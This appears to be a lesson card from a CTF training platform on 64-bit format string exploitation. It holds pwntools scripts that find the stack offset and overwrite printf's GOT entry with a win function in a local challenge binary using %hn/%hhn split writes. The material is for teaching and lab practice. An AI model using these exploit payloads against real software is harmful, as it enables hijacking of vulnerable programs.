Browse CTFs New CTF Sign in

Advanced GOT Overwrite: 64-Bit Multi-Byte %hn/%hhn Writes with Null-Byte Bypass

binary_exploitation Difficulty 1–5 30 min certifiable

Theory

Why This Matters

64-bit format string exploitation is significantly harder than its 32-bit counterpart. Addresses are 8 bytes wide, contain null bytes in the upper two bytes (e.g. 0x00007ffff7a3b6a0), and the calling convention places the first six arguments in registers rather than on the stack. CTF challenges and real-world binaries built with Partial RELRO on x86-64 still expose this surface. S0131 (develop exploits) and T0286 (develop tools to support cyber operations) require practitioners to navigate 64-bit-specific constraints. This card covers the %hn/%hhn split-write technique and alignment requirements that make 64-bit format string GOT overwrites reliable.

Core Concept

On x86-64, format string arguments beyond the sixth are passed on the stack, starting at rsp+8 relative to the saved return address. The format string itself is the first argument (in rdi), so the first stack-based variadic slot is typically at offset 6 when counting from 1 — but this depends on the calling convention of the outer function and any saved registers. Confirming the offset with a %p chain is mandatory before building a write payload.

Null bytes in addresses terminate fgets/scanf-read buffers early. A typical 64-bit libc address like 0x00007ffff7a3b6a0 has two null bytes at offset 6 and 7 of the 8-byte little-endian representation. This means the address cannot be embedded in the middle of a format string; it must be placed at the very end of the payload.

Split writes decompose the 8-byte target value into two or four pieces written at adjacent addresses: - %hn writes a 16-bit (2-byte) value to uint16_t *. - %hhn writes an 8-bit (1-byte) value to uint8_t *.

pwntools' fmtstr_payload accepts a write_size parameter ('short' for %hn, 'byte' for %hhn) that controls granularity and minimises the number of characters printed.

Technical Deep-Dive

# Determine offset of format buffer on the stack
python3 -c "
import subprocess, re
for i in range(1, 30):
    payload = (f'AAAA%{i}$p').encode()
    out = subprocess.run(['./target64'], input=payload, capture_output=True).stdout
    if b'0x4141' in out:
        print(f'Buffer at offset {i}')
        break
"
from pwn import *

elf    = ELF('./target64')
p      = process('./target64')
offset = 6    # confirmed from leak above

# Overwrite GOT[printf] with win(), using half-word writes to avoid large padding counts
# fmtstr_payload(offset, writes, numbwritten=0, write_size='int')
payload = fmtstr_payload(
    offset,
    {elf.got['printf']: elf.sym['win']},
    numbwritten=0,
    write_size='short'   # emit %hn pairs (2-byte writes)
)

# Addresses must sit at the END of the payload to dodge null-byte truncation
# pwntools places them there automatically when write_size='short' on 64-bit

p.sendlineafter(b'> ', payload)
p.interactive()

When write_size='short', pwntools emits two %hn write directives targeting got[printf] and got[printf]+2 separately. The lower two bytes and upper two bytes are written independently, so the cumulative character count never needs to exceed 0xffff per directive. For a full 64-bit address, four %hhn writes at four consecutive byte offsets are sometimes necessary:

payload = fmtstr_payload(
    offset,
    {elf.got['printf']: elf.sym['win']},
    numbwritten=0,
    write_size='byte'    # emit %hhn — one byte at a time, safest for 64-bit
)

Handling numbwritten: If the format string is not the first thing printed in the output (e.g., the program prints a banner first), adjust numbwritten to account for the characters already output before printf processes the payload:

# If program prints "Welcome!
" (9 chars) before the sink:
payload = fmtstr_payload(offset, {target: value}, numbwritten=9, write_size='short')

Stack alignment: On x86-64, the format string buffer must be 8-byte aligned on the stack for %<N>$p positional access to work correctly. If the buffer starts mid-alignment (e.g., at rsp+4), add padding bytes before the format specifiers to shift the effective start:

padding = b'A' * (8 - (buf_offset % 8)) if buf_offset % 8 else b''
payload = padding + fmtstr_payload(offset, writes, write_size='byte')

Reverse Engineering Methodology

  1. Use gdb with pwndbg or peda: set a breakpoint on printf, inspect rsp to see the stack layout and confirm where the format buffer resides relative to the variadic slots.
  2. Print %1$p through %30$p in a loop; identify your buffer contents (e.g., the leading AAAA = 0x41414141) to pinpoint the offset.
  3. Check the GOT slot size: objdump -d ./target64 | grep -A5 '<printf@plt>' confirms the indirect call instruction and the GOT address.
  4. Confirm write success in GDB: after sending the payload, examine x/gx &elf.got[printf] before resuming execution.

Common Reversing Errors

  • Assuming offset 6 without verification: In some binaries the outer function saves extra registers, shifting the effective offset. Always confirm empirically.
  • Using write_size='int' on 64-bit: This emits %n which writes only 4 bytes, leaving the upper 4 bytes of the 8-byte GOT slot intact — likely producing an invalid address.
  • Null bytes truncating the payload mid-address: If your GOT target address contains a null byte (e.g. 0x00601020), place the address at the end of the payload. pwntools does this automatically, but hand-crafted payloads often embed addresses at the beginning.
  • Forgetting to update numbwritten: Miscounting already-printed characters causes the %hn value to be off, writing a wrong pointer that segfaults on dereference rather than redirecting control.

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.